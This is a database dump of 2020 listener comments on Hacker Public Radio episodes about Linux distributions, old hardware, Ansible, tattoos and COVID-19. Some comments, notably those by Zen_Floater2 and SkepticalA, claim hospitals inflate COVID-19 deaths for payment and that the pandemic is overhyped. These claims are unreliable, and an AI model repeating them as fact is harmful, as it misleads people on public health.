(2971,3116,'2020-07-15 10:29:21','bk','Please tell us about how you built the Manor','I enjoyed your talk very much, and it has revived my project of creating this kind of resource to facilitate community with minimal dependence on The Cloud.\r\nThank you.\r\nI hope you can manage to do a follow-up talk with details for community builders that would help us do the same and build on your experience.','2020-07-15 10:31:45'),
(2972,3117,'2020-07-15 13:37:55','brian-in-ohio','computer learning today','I completely agree with the level of learning with computers today, so much of computer programming is opaque. Learning today seems to be, \"oh i learned i needed to do sudo infront of apt-get, pip-install blah\". Old computers, slackware install disks, forth on microcontrollers is the place to go to actually learn. Thanks for the show. Good to hear the roads are bad in other places than northwest ohio!','2020-07-15 13:39:31'),
(2973,3118,'2020-07-15 14:11:28','Guido','Nice episode on a weird language','Python is ancient, ever heard about Rust?','2020-07-15 14:18:07'),
(2974,2774,'2020-07-19 08:24:35','Sam','hpr2774 :: CJDNS and Yggdrasil','I thought your views were interesting. I was particularly interested in how you highlighted that CJDNS was going to monetized and Yggdrasil was not or at least yet.\r\n\r\nI\'ve read about CJDNS, Yggdrasil and IPFS and I\'m not sure exactly how all these overlap. My \"limited\" understanding is CJDNS and Yggdrasil \"are\" just the network but IPFS is the network plus a network storage system. I don\'t understand how IPFS network finds things or works. Sure it uses a hash, I get that, but the mechanics of finding the hash, how it determines what pieces of multiple copies it routes back and how I don\'t get yet.\r\n\r\nIt would seem to me if we could get something like Yggdrasil for the network that could have multiple encrypted hops like I2P or Tor and then have a store like IPFS, BUT you could choose what data you \"mirrored\" (like torrents or IPFS or zeronet)...well we would really have a kick ass open net that anyone could publish on anonymously and people could choose not to \"mirror\" some of the more seedy parts of the darknet.\r\n\r\nI think these are coming together. I wish it were faster.','2020-07-19 08:41:58'),
(2975,3122,'2020-07-21 05:38:20','bittin','Politics','This Podcast is more about American Politics then Devuan/Debian to be honest','2020-07-21 07:50:26'),
(2976,3122,'2020-07-21 08:26:04','Dan','Purposely misleading episode','For all listeners, there is 2 minutes of discussion about Devuan, the remaining 32 are political commentary.\r\n\r\nI will no longer trust, or listen, to this contributor.','2020-07-21 08:29:31'),
(2977,3122,'2020-07-21 09:09:13','Ken Fallon','Updated show notes','We do not listen to shows prior to posting, to ensure hosts are given the freedom of speech. \r\nSee: https://hackerpublicradio.org/stuff_you_need_to_know.php#not_moderated\r\n\r\nAs noted by the commenter\'s, the shownotes do not accurately reflect the content in the episode. I have therefore updated the shownotes to more accurately reflect the content discussed.','2022-02-14 13:25:14'),
(2978,3122,'2020-07-21 14:12:14','draxil','Very interesting listen','Very interesting listen! Probably more interesting than an episode about Devuan to be honest.','2020-07-21 14:16:57'),
(2979,3122,'2020-07-22 13:44:03','b-yeezi','Interesting but misleading title','You are entitled to your political opinions, but please title your episode appropriately.\r\n\r\nI could talk about some of the accuracy of many of your statements, but I don\'t believe that this is the proper forum to do so.','2020-07-22 13:48:26'),
(2980,3119,'2020-07-22 23:55:30','an anonymous listener','security is hard','I think you overstated the security aspect of read-only filesystems. Even if you set it to read-only at the block device level, it won\'t stop a rootkit or kernel exploit from writing to the drive. Some USB drives, SD cards, and occasionally hard drives, claim to support device level read-only mode, but even then, they almost all have writable firmware that could be maliciously modified by software on the host (see BadUSB). The only consumer hardware I know of that supports anything close to physical write protection is the CD-ROM, and even most CD-ROM drives keep their firmware on a writable flash chip. \r\n\r\nMost of these are advanced attacks that average person will ever have to worry about, but worth keeping in mind. Read-only root filesystems are mainly meant for resilience against power failures and simple unprivileged malware, but it\'s not meant to provide any true security against sophisticated attacks. That\'s why we have UEFI SecureBoot.','2020-07-23 08:56:19'),
(2981,3122,'2020-07-23 13:08:32','Ko','Misuse of HPR','HPR is an open platform and it is very troubling to find out that it has been had. \r\nSomeone felt the need to troll the platform with political statements backed by doubtful arguments wrapped in a misleading title.','2020-07-23 13:32:32'),
(2982,3122,'2020-07-24 09:21:21','Ken Fallon','Apologies to Zen_Floater2','It was not Zen_Floater2 intention to have shownotes for this episode. When posting this show, I added the shownotes and tags to this episode.\r\n\r\nThe changes made were as follows:\r\n\r\n26c26\r\n&lt; Tags: Devuan\r\n---\r\n&gt; Tags: Devuan, Debian, sysvinit, OpenRC, systemd.\r\n30c30,31\r\n&lt; I have no notes for this review\r\n---\r\n&gt; From Wikipedia, the free encyclopedia\r\n&gt; Devuan is a fork Debian that uses sysvinit or OpenRC instead of systemd, which is the default in newer Debian releases. The Devuan development team aim to maintain compatibility with other init systems in the future and not detach Linux from other Unix systems.','2020-07-24 10:03:55'),
(2983,3122,'2020-07-26 15:05:10','x','Good!','Very interesting things that I had no idea about.','2020-07-26 15:30:21'),
(2984,3108,'2020-07-27 00:26:57','Klaatu','SD Card + encrypted hard drive','I love the idea of a bootable SD card reading /home from an encrypted hard drive, rendering the computer without the SD card \"a brick\". Great model.','2020-07-27 08:57:08'),
(2985,3122,'2020-07-27 09:08:40','igottrolledintolisteningtothis','Title should be','A short devuan review so im allowed to post this here then a full episode of my opinions on race and american politics','2020-07-27 09:11:24'),
(2986,3121,'2020-07-29 04:29:15','Klaatu','Team Mrs. Honeyhume','You only get one body in life, so why not decorate it?','2020-07-29 07:36:15'),
(2987,3119,'2020-07-29 12:54:32','Gumnos','OpenBSD on a Mini10','I\'ve got OpenBSD on a Mini10 as well (love it) but the graphics are slow on the GMA500 chip (no Polsulbo driver so it falls back to using VESA).  Does yours have the same chipset and did you find accelerated drivers for it? Or do you just use it at the console (where it\'s pretty snappy).\r\n\r\nI\'ve upgraded mine to the maximum 2GB of RAM. put a newer SSD in it, and replaced the BCM wireless card (which never worked reliably) with an Atheros.  But it\'s a wonderful little unit.\r\n\r\nThanks for the episode!','2020-07-29 13:14:25'),
(2988,3126,'2020-07-29 13:29:26','Dave Morriss','Etymology of \'geodesic\'','Hi Andrew,\r\n\r\nRegarding \'geodesic\' I found some answers here:\r\nhttps://www.etymonline.com/word/geodesic\r\n\r\nSo, \'geodesic\' is from \'geodesy\' which means \"surveying\".\r\nThen \'geodesy\' is built from \'ge\' (pertaining to the Earth) and \'daiein\' meaning \"to divide\".\r\n\r\nThis is just my limited summary, see https://www.etymonline.com/word/geodesy for the fuller definition.\r\n\r\nEnjoying the series; more please!\r\n\r\nDave','2020-07-29 13:44:19'),
(2989,3129,'2020-07-30 14:22:05','Jan','Zen_Floater2  asked for Comments  on \"Explicit or not\"','Hi Zen_Floater2,\r\n\r\nthe show in question came into my podcatcher showing the title: \r\n\"Devuan review - and commentary\". I got the impression, the show would be about Devuan while not knowing at the time, what a Devuan might be.\r\n\r\nAfter listening I asked my self, why You did 2 topics under one headline, me not seeing the connection.\r\n\r\nIm pretty sure HPR-Folks noticed that too and might not have bothered doing a comment, if each topic were put in a show of its own.\r\n\r\nThanks for providing content, Zen_Floater2.\r\n\r\nJan (lacking Knowledge of English)','2020-07-30 14:44:13'),
(2990,3121,'2020-07-31 11:36:02','Dave Morriss','I have an aversion to tattoos','Very interesting discussion. It made me think a lot about the subject.\r\n\r\nWhen I was a kid (1950\'s and 60\'s) tattoos weren\'t \"cool\". The society I grew up in (working class, Greater London, then Norfolk) was not supportive of them. They were things that people of \"lower class\" had - or at least, that was my impression.\r\n\r\nI have tried to shed as much of this type of attitude and prejudice as I can, but I still don\'t find myself wanting a tattoo. I have no problem with anyone else choosing to have them though, and in some cases I admire the choices they have made.\r\n\r\nI have never voiced this opinion to my kids (as far as I know), but neither of them were keen on the idea of having tattoos when I asked! The prospect of making a permanent bad decision about them was certainly a factor.\r\n\r\nThanks for the thought-provoking episode.\r\n\r\nDave','2020-07-31 11:59:57'),
(2991,3129,'2020-07-31 16:11:04','brian-in-ohio','supreme court ruling','Quite entertaining, is zen-floater channeling 51-50? I call it quilt logic, pieces sown together that sometimes are beautiful and sometimes end up as pieces relegated to a bin in the attic. As far as the ruling, the supreme court ruling only applies to crimes covered under the major crimes act, so all the other oklahoma not existing anymore doesn\'t apply. Here\'s the link to the ruling https://www.supremecourt.gov/opinions/19pdf/18-9526_9okb.pdf, read the first paragraph. Also, I\'m sure people in the UK, including occupied Ireland, probably don\'t care about Oklahoma, the reservation or electoral college with all the real threats to their own sovereignty that exist from the German empire.  Keep the shows coming they are, if nothing else, entertaining. \r\nPS editing the show notes is not editing the content. I suspect all show notes are edited somehow to fit the formatting scheme the admins use.','2020-07-31 16:17:29'),
(2992,3122,'2020-07-31 16:13:53','brian-in-ohio','the ruling','The supreme court ruling only applies to those crimes covered under the Major Crime Act. I don\'t think anyone is going to get out of paying taxes in Oklahoma anytime soon. Here\'s a link to the ruling\r\n\r\nhttps://www.supremecourt.gov/opinions/19pdf/18-9526_9okb.pdf','2020-07-31 16:17:29'),
(2993,3126,'2020-07-31 22:41:39','sesamemucho','Special thanks','I\'ve enjoyed listening to your last two shows. You presented a very clear introduction to the concept. It\'s amazing how such an apparently small topic can unfold into something so complex and interesting.\r\n\r\nOn a tangent, I\'m doing exactly this calculation for a project at work, and this episode showed me a simpler and more easily explained way to do it.','2020-08-01 08:27:30'),
(2994,3123,'2020-08-03 14:24:07','Archer72','Funny story','I was not meaning to have a Christmas in July episode, that is just the way it turned out.  It was more a matter of letting life get in the way, as the project was finished in mid December.  That and I get nervous about having to short of a show, or not being interesting enough.','2020-08-03 14:43:56'),
(2995,3134,'2020-08-07 17:27:13','fatherfinch','Great Energy','Hey Daniel, \r\n\r\nGreat energy in this podcast.  I generally don\'t like live music. That is not exactly true, I enjoy live recordings of music. But rarely do I enjoy attending the shows. This episode piqued my interest in checking out some of the virtual shows.  \r\n\r\nI appreciate your contribution! Thank you for sharing your experience.  \r\n\r\n-fatherfinch','2020-08-07 17:37:42'),
(2996,3134,'2020-08-10 13:34:58','catn0b0t','TML 2020','Hey Daniel,\r\n\r\nJust wanted to reach out to you since I\'m a fan of the HPR podcasts and I just heard your review on the TML festival. Thank you very much for the nice review and I\'m glad you loved the show. We worked very hard on it to make it like this :-) I worked on the cybersecurity end of the operation, mostly monitoring for illegal streams.\r\n\r\nKind regards,\r\n\r\nCedric','2020-08-10 13:47:08'),
(2997,3137,'2020-08-11 22:11:28','brian-in-ohio','some \'smart\' people may not take a vaccine','My son in law had Guillain&ndash;Barr&eacute; syndrome when he was a child and now can not take vaccines. So not all people that would respond to a survey \'would you take vaccine x yes or no\' are stupid. Also 70% immunization rate would achieve this mystical state of herd immunity. Lastly, why is the US distance 6 feet and others  ie the Netherlands is 1.5 meters where is the science in any of this? I wish Ahuka would be less disparaging of people with different opinions, calling people stupid diminishes what he has to say. What do you think zen-floater?','2020-08-12 08:29:47'),
(2998,3137,'2020-08-12 12:54:55','Ahuka','Why it matters','I\'m sorry your son got Guillian-Barre syndrome. Of course that means he is not a candidate to get vaccinated, but that is precisely why it is so important that people who are physically capable got the vaccine. Because we don\'t want him to die of Covid-19 either, and for him it is other people\'s vaccinations that provide protection.\r\n\r\nThe 6 feet rule is an approximation based on research into how far virus-laden droplets will move when people are engaged in normal speech and similar activities. If people are doing something like singing, or exercising where they are breathing heavily, six feet may be too close.','2020-08-12 13:20:02'),
(2999,3138,'2020-08-12 16:40:42','Ahuka','Excellent Interview','I really enjoyed the interview with Randal Schwartz. More of this would be great.','2020-08-12 16:57:58'),
(3000,3137,'2020-08-13 05:15:37','Zen_Floater2','The Squirrel from the Magical Forrest','I must agree with you that Covid-19 has proven to cause damage to heart, lungs, and livers and kidneys and even brain damage.\r\n\r\nI think the part that I didn\'t understand was your comment about watching some video\'s that you admit Doctors would not endorse or watch...  \r\n\r\nClearly, the medical community is divided on all this stuff.  The half which is not siding with the WHO have been banned from Twitter and Facebook and have had their video\'s taken off of Youtube, thus making these corporate entities rulers of the truth.\r\nIN fact, they are unaccountable rulers of the truth.\r\n\r\nIf your a physicist in this world, and you disagree with Einstein in any way, express a belief in UFO\'s, or sometimes even show a realism for some of the things shown in the STAR TREK episodes,,, you are shown the door.  The community will 100% throw you out the door.  There\'s nothing to debate over there.\r\n\r\nBut with Covid-19, it\'s absolutely NOT cut and dried.  There are no definitive statements from anyone on Covid-19.  As you\'ve pointed out, they\'ve already proved some of the statements made about some of the treatments being talked about have been proven to be wrong and biased.  \r\n\r\nPart of the blame lies in their bad record keeping.  Hospitals will make an automatic $12,000 for every Covid-19 patient they log into the system.  And therefore, just everybody had Covid-19 damage, even in you had terminal cancer or were hospice before the entire thing started,,, they file you as a Covid-19 death.\r\n\r\nGreat Britain has recently admitted they have discovered the same thing happened over there and thus their statistics and record keeping have been skewed badly.  \r\n\r\nWe do not know for sure that 200,000 Americans have in fact died from Covid-19 this year so far.  The data on deaths recorded every year in the United States has varied so widely over the past 50 years, it\'s truthfully uncertain who many we could attribute toward Covid-19.   \r\n\r\nMore on next buffer.','2020-08-13 11:50:17'),
(3001,3119,'2020-08-13 05:50:54','Zen_Floater2','reply back to Gumnos','I have a stock, from the factor Dell Mini 10.  Never opened it up.\r\n1 GB of memory Intel Atom N450 cpu and 250 GB Hard Drive.  The Hard drive is so old, it shows up as wd0!!!   But, when I run Fuguita 386 on it, it shows up as sd0, go figure.  OpenBSD supports AMD64 variants of their OS will all the Intel DRM.  I\'m running the 386 version of OpenBSD and I\"m afraid I really don\'t know if this notebooks FredFlintstoneLake Intel Graphics is actually supported on the 386 version.  Things are slow but not horrible on this laptop.  I still have the original WIFI chip in this notebook and mine is Atheros.  Dell has been known to switch out hardware on production lines -mid-stream- for all their computers so it doesn\'t surprise me one bit you had a different WIFI from mine.  I\'ve still got the Original factory battery also.  The Dell Mini 10 is fanless and quiet.  OpenBSD doesn\'t PUSH the hardware into overheating.  I need to look into expanding my memory, if that\'s even possible on this model as it was the very first of the Dell Mini 10 series, the first year they offered the Mini 10 Inspiron.  I\'ve always been told the ram is soldered in on this model and that I was screwed but, I need to open this up and look around.  Maybe at least upgrade my hard drive also and put some fresh CPU paste on the heat sink.  It\'s over 12 years old now.  Still very reliable, and I use it very day.  I\'m using it now to type your message.  Take care and bye..','2020-08-13 11:50:17'),
(3002,3131,'2020-08-13 06:32:02','Zen_Floater2','I\'ve learned much.and I\'d like to share much as well...','It seems I\'ve gotten the MOST comments on my shows of anyone here in HPR in quite a long time.  At first, they came after me for my show notes.  When that didn\'t work, they switched to attacking my tiitles.  I ignored that as well.  Finally, they are referencing me on OTHER people\'s shows now.  HPR3137 - Ahuka has a comment from one of his viewers and he\'s addressed it to me, Zen_Floater2.  And as a Squirrel who lives in a Magical forrest, I pondered, how should I address this human being???  Why would he ask me about what I thought about Ahuka\'s show?  Ahuka got only one negative comment on his show and Ahuka called the people who didn\'t follow his narrative stupid idiots I\'m guessing from the commentary.   Study my work Ahuka and you will get more negative comments over time. I\'m a firm believer that if you do, you too can have most of the HPR audience out for your blood.  And I\'ve never understood why humans would care about other humans not taking some vaccine.  It clearly makes no sense and forces me to climb up a tree sometimes to get awy from Humans.  Thank you everyone','2020-08-13 11:50:17'),
(3003,3138,'2020-08-14 17:35:29','ClaudioM','Agree with Ahuka. Great Interview!','Fantastic interview with Randal. I also thought the FLOSS Weekly transition was rather abrupt and also wondered what happened. I also had no idea there was anything on their blog, especially after having conducted web searches right after it happened. Great to hear from him again and the things he\'s working on going forward.','2020-08-14 17:47:04'),
(3004,3138,'2020-08-16 12:40:26','brian-in-ohio','follow up question','These guys missed a great opportunity, the art of the followw up question is dead. When Randll said it was on the blog why he got fired by leo, they should have asked, \"for those who don\'t follow the twit blog, could you recap the events that led to your being shown the door at twit?\" Here\'s the blog post link, https://twit.tv/posts/inside-twit/doc-searls-new-host-floss-weekly, its useless. Leo\'s terrible twit is dead long live monsterb and TiT radio!','2020-08-16 12:42:58'),
(3005,3137,'2020-08-16 13:30:51','SkepticalA','Condescending','Too bad that everyone who isn&rsquo;t as brainwashed as you is stupid. This is clearly overhyped and playing on people&rsquo;s fears for financial gain. When my uncle died due to a pacemaker failure and the hospital listed coronavirus in order to collect their check, this became obvious. But hey, what do I know. I&rsquo;m probably stupid...','2020-08-16 13:40:47'),
(3006,3137,'2020-08-16 18:59:26','Bob','Fact Checks on one of your claims','The UK did in lower their records by 5,000. However the reason was not bad record keeping as claimed above. In England the tally included anyone who has tested positive for COVID-19 and later died, with no cut-off point between positive test and death. While Scotland only counts deaths that occur within 28 days of a positive test.\r\n\r\nTheir official statement is here:\r\nhttps://publichealthmatters.blog.gov.uk/2020/08/12/behind-the-headlines-counting-COVID-19-deaths/\r\n\r\nClassifications should be done as follows:\r\n\r\n\"A death due to COVID-19 is defined for surveillance purposes as a death resulting from a clinically compatible illness, in a probable or confirmed COVID-19 case, unless there is a clear alternative cause of death that cannot be related to COVID disease (e.g. trauma).\"\r\n\r\nhttps://www.who.int/classifications/icd/Guidelines_Cause_of_Death_COVID-19.pdf','2020-08-16 19:03:45'),
(3007,3139,'2020-08-16 21:28:26','brian-in-ohio','the voice','The intro voice for that show was the best. How was it done?','2020-08-17 19:01:07'),
(3008,3137,'2020-08-16 21:34:20','brian-in-ohio','sympathy','I wasn\'t looking for sympathy, I was hoping you would see that falling into using pejorative statements is exactly the cause of so many problems between people. Using the word stupid stops the conversation, that was my point.','2020-08-17 19:01:07'),
(3009,3137,'2020-08-16 21:59:54','Ahuka','Clarification','Regarding the 6 foot distance of separation, I should have been clearer that this is a recommendation for when you are out-of-doors. There is no such things as a safe distance if you are indoors with someone who has the disease. If you are there for long you will get the disease.','2020-08-17 19:01:07'),
(3010,3139,'2020-08-18 13:06:29','Ken Fallon','Voice','That was one of the GTTS voices. It is added as part of the show upload processes.','2020-08-18 18:59:35'),
(3011,3137,'2020-08-19 04:30:36','Zen_Floater2','Detailed research Corbit Report','https://www.bitchute.com/video/0EYfFZnLAxI/','2020-08-19 18:58:24'),
(3012,3143,'2020-08-19 19:25:08','brian-in-ohio','slackware','Thanks for the show, for slackware current users, alienbob has packages available here\'s the link https://www.slackware.com/~alien/slackbuilds/libreoffice/pkg64/current/','2022-02-14 13:25:15'),
(3013,3144,'2020-08-20 17:53:29','b-yeezi','I deal with this all the time','Thanks for this episode. I write software in the medical field all the time. It\'s good to see that the best practices that I\'ve been taught are actually correct.\r\n\r\nI would love another episode like this!','2020-08-20 19:52:17'),
(3014,3137,'2020-08-21 07:34:47','Anon','Conspiracy Theories: Last Week Tonight with John Oliver','https://www.youtube.com/watch?v=0b_eHBZLM6U','2020-08-21 19:10:26'),
(3015,3138,'2020-08-21 13:57:12','an anonymous listener','volume','Another great episode!\r\n\r\nBut... Martin, for the love of christ, will you please SPEAK UP?!?!\r\n\r\nYou\'re always so quiet and mumbly I can\'t hear you unless I turn my volume way up. Then Chris comes back on and blows out my eardrums until I turn it back down. \r\n\r\nPerhaps you could each record on separate audio channels, and then equalize the volume in post-production?\r\n\r\nThanks for the show, keep up the good work!','2020-08-21 19:10:26'),
(3016,3148,'2020-08-29 00:53:56','Zen_Floater2','Vic 20','I had a Vic 20 once and wrote in basic and assembler on that machine.  I thought the tape recorder was too expensive so I made my own out of a panasonic tape recorder and a bread board I put together.\r\nI wrote llog book programs, Amtor programs and Continental Code trainers on the Vic 20.  It was a fun machine and very fast too.','2020-08-29 19:48:52'),
(3017,3138,'2020-09-02 12:52:20','Robert','..._---_','<pre>Martin:\r\n.......,,,,,, ,,, Mmmmm ...... ...... .....\r\n\r\nmonochromec:\r\n\r\n#        #######  #     #  ######\r\n#        #     #  #     #  #     #\r\n#        #     #  #     #  #     #\r\n#        #     #  #     #  #     #\r\n#        #     #  #     #  #     #\r\n#        #     #  #     #  #     #\r\n#######  #######   #####   ######\r\n</pre>\r\n','2020-09-03 06:40:54'),
(3020,3158,'2020-09-11 21:41:54','Ahuka','Fantastic show!','I loved this show, and I hope he does more \"war stories\" for us!','2020-09-12 18:59:12'),
(3018,3146,'2020-09-05 15:03:02','Ken Fallon','Keep doing what you\'re doing','The only thing I would do is to put a beep or something between the segments.','2020-09-05 15:42:06'),
(3019,3158,'2020-09-11 13:04:33','Beeza','The need for \"meta procedures\"','Hi Cedric. This is a fascinating episode.\r\n\r\nIt seems amazing that a company which is sufficiently concerned about security to hire a pen testing team did not have procedures in place to ensure the access control system server was protected with something better than admin/admin.\r\n\r\nMy guess is that they did have such procedures but that they were insufficiently monitored. You can have the tightest standards and procedures in the world, but if there is no checking for compliance they are worthless.','2020-09-11 18:33:17'),
(3021,3154,'2020-09-11 22:46:28','Windigo','Nextcloud and self hosting','Thanks for the overview of Nextcloud - I run my own instance, and half of the apps you mentioned were news to me. It\'s become an essential part of my network, and I\'m still finding more uses for it!','2020-09-12 18:59:12'),
(3022,3152,'2020-09-24 21:03:20','Reto','Link to the other knive podcast','Hi Dave,\r\n\r\nThank you for this podcast. A nice knife is like a nice fountain pen. Way too little chances to use it while it is such a nice product.\r\n\r\nThanks to your hint I listened to the podcast about OPINEL and it reminded me about mine, somewhere in a box, I was disappointed that it was\'nt stainless steel. I dug it out and learned that carbon steel is harder and can get a patina similar to other metall.\r\n\r\nNow, I like this rusty knive, because I understand :)\r\n\r\nCheers\r\nReto','2020-09-24 21:15:06'),
(3023,3161,'2020-09-24 21:28:40','Reto','Sansa MP3 Players','Hi Dave,\r\n\r\nJust like you I have Sansa MP3 Players (Clip Sport &amp; Clip Zip). These are awesome, something like 48 g, play several hours and if you treat them well last several years. Mine is now 6 years old. \r\nOGG is not their strenght, but can play most files. For this reason I always subscribe to MP3. \r\nI also like at least basic ID3-tags. The \'Album\' is an important tag and only ID3v2 works well on Sansa\'s firmware. \r\n\r\nUnfortunately, the Zip at someday got stuck at \"refreshing your media\". I read you could open it and flash Rockbox or try to access via serial, but the housing is very thight, almost zero gap.\r\n\r\nI plan to listen to your Rockbox flash podcast :)\r\n\r\nCheers\r\nReto','2020-09-25 19:03:16'),
(3024,3167,'2020-09-27 07:18:49','Aaron','Nice conversation, thanks for sharing it','I have only recently discovered HPR and I\'m enjoying the variety of topics and hosts - thanks for the great resource!','2020-09-27 18:50:01'),
(3025,3167,'2020-09-27 07:21:46','Zen_Floater2','Squirrels love local chit-chat','I especially enjoy local chit-chat conversations.  There really should be more shows like these.','2020-09-27 18:50:01'),
(3026,3161,'2020-09-27 17:09:38','Dave Morriss','Rockbox and Sansa players','Hi Reto,\r\n\r\nI have found that if the players lock up in some way a very long press on the on/off button can reset them. Worth a try anyway.\r\n\r\nInstalling Rockbox is not difficult. All you need to do is download the installer (https://www.rockbox.org/download/) and follow the instructions on the site. It\'s years since I have done it but I remember that it was very straightforward at the time. You don\'t need to dismantle the player in any way.\r\n\r\nI found the original SanDisk software was very poor but Rockbox has provided all the features I need for many years.\r\n\r\nDave','2020-09-27 18:50:02'),
(3027,3161,'2020-09-27 21:38:33','Kevin O\'Brien','My Rockbox/Sansa experience','My favorite combo was the Sansa Clip Plus with Rockbox. Sadly, San Disk stopped making them','2020-09-28 18:04:12'),
(3028,3168,'2020-09-27 21:56:16','0xf10e','Why an additional disk/zpool?','Hi norrist,\r\n\r\nwhy do you recommend a 2nd disk with\r\na new pool to use for iocage? Using\r\niocage on the host\'s root(fs) pool\r\nworks just fine. If I had spare disk\r\n(or even cheap storage for a VPS) I\r\nwould rather use it to mirror my\r\nsystem including the iocage dataset.\r\n\r\nRegards, 0xf10e','2020-09-28 18:04:12'),
(3029,3168,'2020-09-28 21:32:33','norrist','2nd disk for iocage','A second disk is not an absolute requirement if you are already using ZFS on root.  I  made the recommendation for a second disk because some VPS providers still default to UFS for the root partition.  \r\n\r\nThanks to 0xf10e for the feedback','2020-09-29 18:25:19'),
(3030,3161,'2020-09-29 13:04:00','Dave Morriss','No more Sansa Clip Plus','Hi Ahuka,\r\n\r\nYes, I was very sad to see the trend away from San Disk Sansa players that could run Rockbox, and then their disappearance. I did manage to buy some new, refurbished and second-hand players before prices became ridiculous, and have survived on them for many years. When they have all stopped working I don\'t know what I\'ll do!','2020-09-29 18:25:19'),
(3031,3167,'2020-09-29 15:50:38','Dave Morriss','Thanks for the feedback','Aaron, Zen_Floater2,\r\n\r\nGlad you are enjoying HPR and our chit-chat shows.They are quite fun to do, and we\'ll probably make more when we can.','2020-09-29 18:25:19'),
(3032,3175,'2020-10-03 14:49:29','Gumnos','Using the X \"Compose\" key','When typing in Spanish or French, I\'ve long used the Compose key in X.  In my startup script (~/.xinit, ~/.xsession, or for me as a fluxbox user, ~/.fluxbox/startup) I have the following line\r\n\r\nsetxkbmap -option compose:caps\r\n\r\nwhich turns my Caps key (which I never otherwise use) into a Compose key (here are ways to use other keys instead, if you prefer).\r\n\r\nI can then type \"{compose}{e}{\'}\" to get \"&eacute;\" or I type \"{compose}{n}{~}\" to get \"&ntilde;\" or \"{compose}{c}{,}\" to get \"&ccedil;\". Similarly I can use \"{compose}{?}{?}\" and \"{compose}{!}{!}\" to get \"&iquest;\" and \"&iexcl;\".  There are hundreds of these composable characters and many are intuitive enough that I can guess them if I don\'t know them cold.\r\n\r\nShould work out of the box on Linux &amp; BSD systems running X, and work with pretty much every X application.','2020-10-03 19:42:30'),
(3033,3176,'2020-10-05 02:44:50','Mike Ray','YAML, spacing and ansible-lint','Interestingly, although I can\'t see, I don\'t find the indentation in YAML as annoying or as difficult as Python. And:\r\n\r\npip3 install ansible-lint\r\n\r\nWill give you a good linter for Ansible YAML.\r\n\r\nI have a repository on github:\r\n\r\ngithub.com.cromarty/ansible-raspberry-pi\r\n\r\nWith loads of roles and playbooks, mostly with an a11y bent.\r\n\r\nI think I might do a show about. I love writing Ansible and I\'m good at it, although I say it myself.\r\n\r\nWhile I am here...espeak rules OK? :-)','2020-10-05 18:48:37'),
(3034,3179,'2020-10-09 02:24:28','janedoc','using make mkv','Thanks for your show. I really enjoy make mkv. unfortunately, I have had better luck with it on my windows partition, there are more restrictions ripping DVDs when I use my ubuntu laptop. Since my home has limited broadband, I like to buy DVDs and rip them on my computer to watch off line. I use handbrake to compress the video files. So, you\'re not the only one who uses make mkv!','2020-10-09 18:36:23'),
(3035,3180,'2020-10-10 12:54:33','archer72','contribution back','Thanks for the show and the Patreon link.  I would like to give a little to some projects too, but sometimes it is a bit tricky to find a way to regularly donate.  For example, I started using Fedora, and so does my wife, but could not even find a one time donation button.','2020-10-10 19:12:09'),
(3036,3180,'2020-10-10 21:43:17','Kevin O\'Brien','Donating to Fedora','The Fedora Wiki page (https://fedoraproject.org/wiki/Contribute) explains that they are not looking for money, which I suspect is because they have strong corporate support. I would guess Ubuntu is much the same. But there is more than one way to support a project you like. How about doing some shows on Fedora, why you like it, how to configure it, and so on.','2020-10-11 19:01:18'),
(3037,3184,'2020-10-15 01:31:51','Clinton Roy','Mix not quite right?','It\'s almost like the separate streams were spliced on top of each other, rather than interleaved?','2020-10-15 19:38:32'),
(3038,3185,'2020-10-16 16:49:48','brian-in-ohio','fear porn','Good show. but I\'m a bit confused, people tell me there are to many people on planet earth, to much man made global climate change. Isn\'t disease a good thing? Doesn\'t it thin the herd? What should I be afraid of today? Too many people? Too much C02? Capatalism?','2020-10-16 18:58:50'),
(3039,3153,'2020-10-21 11:26:44','Ken Fallon','Thank for this','I knew this had to be on the Internet somewhere.','2020-10-21 19:25:02'),
(3040,3191,'2020-10-26 15:58:21','mcnalu','Interesting info from Sweden','Thank you for this show. I found it very interesting to hear how another country/county is dealing with this virus from an individual\'s perspective. We often hear that Sweden is dealing with COVID-19 by requiring much lighter restrictions than where I am in Scotland/UK but your description doesn\'t sound very different from the situation here. One notable difference is that you said older children are not all back at school. Here *all* children are back but due to an outbreak at his school my son is currently at home self isolating as are most of his year group (15-16 year olds) of 100 or so pupils. This should not have come as a surprise as I understand that the virus spreads amongst older children much like it does with adults, though the disease is much less severe in most cases.','2020-10-26 20:21:04'),
(3041,3187,'2020-10-26 21:51:15','Cedric De Vroey','Also getting into Ansible','Hi Norrist,\r\nI have just recently started using Ansible. I\'m currently playing with my new toy, a Turing Pi board equiped with 7 Raspberry Pi Compute modules, basically it\'s like a single board cluster so to speak :-) Anyways, I found Ansible extremely helpfull in setting these up.\r\nFirst I made sure all Pi\'s had a fresh install of Ubuntu server with Ssh enabled and an account that authorized my public key. Then I just created a simple inventory file with the IPs of each node and I was good to go. Then I could just do:\r\nansible -c cluster -a \"sudo apt update &amp;&amp; sudo apt install -y kubernetes\"','2020-10-27 19:12:06'),
(3042,3189,'2020-10-26 22:11:20','Cedric De Vroey','Love graveyards','Hey Ken, loved the episode. I also like walking around on grave yards, they combine the best in of three key factors I think:\r\n1) Silence. There are a lot of loud places these days but a graveyard is almost everywhere a place of serenity. \r\n2) Art. I don\'t know how things are over there but here a lot of graves are real works of art.\r\n3) History. Even the grave yard of a small little town tells dozens of stories. \r\n\r\nVisiting tips in Europe from a fellow grave yard lover:\r\n- P&egrave;re Lachaise Cemetery in Paris, FR\r\n- Schoonselhof in Antwerp, BE','2020-10-27 19:12:07'),
(3043,3185,'2020-10-26 22:17:31','Cedric De Vroey','Ahuka','Great show. Coincidently I had heard a show on the same topic on national radio here in Belgium. Their angle was how the Spanish Flue had actually ended the first world war, and that most of the casualties in that conflict originated from that desease instead of the fighting.','2020-10-27 19:12:07'),
(3044,3184,'2020-10-26 23:27:21','Cedric De Vroey','Great show keep them comming :-)','Hey man, I love this show each and everytime. The mood is great and the content is very much interesting. I love listening to people talking about interesting things in a relaxed context and this show pulls that perfectly. Keep them comming','2020-10-27 19:12:07'),
(3045,3189,'2020-10-28 08:19:49','Clinton Roy','Interesting','I found this quite interesting, I\'ve never even thought about such requirements; thank you.','2020-10-28 20:47:32'),
(3046,3175,'2020-10-31 14:17:54','Ken Fallon','Cheat sheet','https://cheatography.com/davechild/cheat-sheets/ubuntu-compose-key-combinations/pdf_bw/','2020-10-31 19:53:14'),
(3047,3193,'2020-11-03 13:05:59','brian-in-ohio','dark-table','Great show. Have you considered doing a series on Darktable? It would dovetail nicely with the GIMP series.','2020-11-03 19:39:41'),
